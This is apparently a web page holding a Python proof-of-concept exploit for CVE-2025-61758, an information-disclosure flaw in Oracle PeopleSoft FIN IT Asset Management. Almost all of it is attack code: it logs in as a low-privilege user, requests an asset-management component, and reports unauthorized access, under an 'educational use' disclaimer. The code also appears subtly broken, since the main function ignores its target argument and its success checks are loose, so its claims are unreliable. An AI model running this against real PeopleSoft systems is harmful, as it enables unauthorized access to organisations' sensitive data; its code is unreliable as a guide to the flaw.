CVE-2025-61758 Oracle PeopleSoft FIN IT资产管理信息泄露漏洞

# CVE-2025-61758 - Oracle PeopleSoft FIN IT Asset Management Information Disclosure PoC # This PoC demonstrates the unauthorized data access vulnerability # Note: This is for educational and authorized testing purposes only import requests # Target configuration TARGET_URL = "https://target-peoplesoft-host:port" PS_HOME = "/psc/ps/" # Step 1: Authenticate with low-privilege credentials def authenticate(session, username, password): """ Authenticate to PeopleSoft with low-privilege credentials """ login_url = f"{TARGET_URL}{PS_HOME}?cmd=login&languageCd=ENG" # PeopleSoft login payload payload = { 'userid': username, 'pwd': password, 'Submit': 'Sign In' } response = session.post(login_url, data=payload, verify=False) if 'PS_JSESSIONID' in response.cookies or response.status_code == 200: print(f"[+] Successfully authenticated as {username}") return True return False # Step 2: Access IT Asset Management component def access_it_asset_data(session): """ Access the IT Asset Management component to retrieve sensitive data The vulnerability allows low-privileged users to access critical data that should be restricted to higher privilege levels. """ # IT Asset Management component URL itam_url = f"{TARGET_URL}{PS_HOME}/EMPLOYEE/HRMS/c/IT_AM_MENU.IT_ASSET_MGMT.GBL" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Content-Type': 'application/x-www-form-urlencoded', 'Referer': f"{TARGET_URL}{PS_HOME}/EMPLOYEE/HRMS/c/ADMINISTER_WORKFORCE.GBL" } # Request to access IT asset data - bypasses access control due to CVE-2025-61758 response = session.get(itam_url, headers=headers, verify=False) if response.status_code == 200: print("[+] Successfully accessed IT Asset Management component") # Extract sensitive data from response if 'asset' in response.text.lower() or 'license' in response.text.lower(): print("[!] Sensitive IT asset data accessible!") return response.text return None # Step 3: Exploit - Extract critical asset information def exploit_itam_disclosure(target_url, username, password): """ Main exploit function for CVE-2025-61758 Exploits improper access control in PeopleSoft FIN IT Asset Management """ session = requests.Session() # Authenticate with low-privilege account if not authenticate(session, username, password): print("[-] Authentication failed") return # Access sensitive IT asset data sensitive_data = access_it_asset_data(session) if sensitive_data: print("[+] Vulnerability CVE-2025-61758 confirmed!") print("[+] Unauthorized access to critical IT asset data achieved") if __name__ == "__main__": # Usage example - replace with actual target and credentials TARGET = "https://peoplesoft-victim.example.com:8000" exploit_itam_disclosure(TARGET, "low_priv_user", "password123")